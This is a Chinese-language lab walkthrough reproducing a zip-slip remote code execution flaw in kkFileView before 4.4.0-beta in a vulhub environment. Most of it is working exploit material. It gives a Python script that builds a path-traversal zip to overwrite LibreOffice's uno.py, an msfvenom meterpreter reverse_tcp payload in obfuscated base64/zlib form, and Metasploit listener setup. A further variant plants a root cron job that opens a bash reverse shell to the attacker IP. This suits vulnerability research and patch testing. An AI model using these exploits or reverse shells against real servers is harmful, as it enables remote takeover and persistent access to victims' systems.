漏洞影响版本
kkFileView 4.4.0-beta以前
漏洞搭建
使用vulhub进行漏洞环境搭建
Kali IP & 目标 IP :192.168.88.206
漏洞复现
命令执行
方法:利用poc.py
生成一个恶意的zip
文件,并创建一个.odt
文件。
poc.py原始内容:
import zipfile
if __name__ == "__main__":
try:
binary1 = b'vulhub'
binary2 = b"import os\nos.system('touch /tmp/success')\n"
zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)
# info = zipfile.ZipInfo("test.zip")
zipFile.writestr("test", binary1)
zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)
zipFile.close()
except IOError as e:
raise e
使用kali生成payload,并替换poc.py中部分内容:
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.88.206 LPORT=4444 -f raw -o test.py
替换内容后的poc.py:
import zipfile
if __name__ == "__main__":
try:
binary1 = b'test'
binary2 = b"exec(__import__(\'zlib\').decompress(__import__(\'base64\').b64decode(__import__(\'codecs\').getencoder(\'utf-8\')(\'eNo9UE1LxDAQPTe/IrckmA1tqaW7WEHEg4gI7t5EpE1GLU3TkGS1Kv53G7I4hxnezJs3H8NkZxewn+UIgX/roed956GuuA/uKAMPwwTodXZ4wYPBrjNvQIuc7VAW3NfqM9+mZpECLfkJ7x+u7172h8ebq3sWeULOxoAMlJJiW4qibkTTiDKvCa9WY5HUO+hGlMEiwYaoHscLrwEsPWdIt2krcTS2kyMll7eEe+FAftBV4Cl/Rqo9Yc3Q5/ugAWswVLELvcqps//qJqUZggUkjYcLBXKerAPvafqB6OsqJhVEJv8hnuz8L0N/dKtfcQ==\')[0])))"
zipFile = zipfile.ZipFile("test1.zip", "a", zipfile.ZIP_DEFLATED)
# info = zipfile.ZipInfo("test.zip")
zipFile.writestr("test", binary1)
zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)
zipFile.close()
except IOError as e:
raise e
第一步
设置kali监听:
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload python/meterpreter/reverse_tcp
payload => python/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.88.206
LHOST => 192.168.88.206
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run
第二步
执行替换内容后的poc.py
会生成一个test1.zip的恶意压缩包。然后上传恶意的zip
,然后预览文件,一定要预览文件。
第三步
上传一个随意创建的.odt文件
,内容可以随便设置,然后预览该文件便可以触发我们写入文件中的payload:
注:一定要第二步上传恶意zip文件,然后一定要预览,第三步上传odt文件预览文件,然后触发我们写入的恶意python代码。
执行完上传的步骤后可以看到kali成功反弹shell
进入容器查看修改后的uno.py文件:
可以看到文件最后已经插入恶意执行代码:
写入定时任务(Linux)
写入定时任务就需要修改poc.py中的代码,修改后poc.py的内容:
import zipfile
if __name__ == "__main__":
try:
binary1 = b'test'
binary2 = b"* * * * * bash -i >& /dev/tcp/192.168.88.206/7788 0>&1\n"
zipFile = zipfile.ZipFile("test3.zip", "a", zipfile.ZIP_DEFLATED)
# info = zipfile.ZipInfo("test.zip")
zipFile.writestr("test", binary1)
zipFile.writestr("../../../../../../../../../../../../../../../../../../../var/spool/cron/root", binary2)
zipFile.close()
except IOError as e:
raise e
执行这个脚本生成一个test3.zip的文件,然后上传到目标,然后预览文件,可以看到在对应文件下已经创建了一个定时任务root,仅测试(该docker环境没有定时任务)
相关链接
https://github.com/vulhub/vulhub/tree/master/kkfileview/4.3-zipslip-rce
https://www.freebuf.com/vuls/402098.html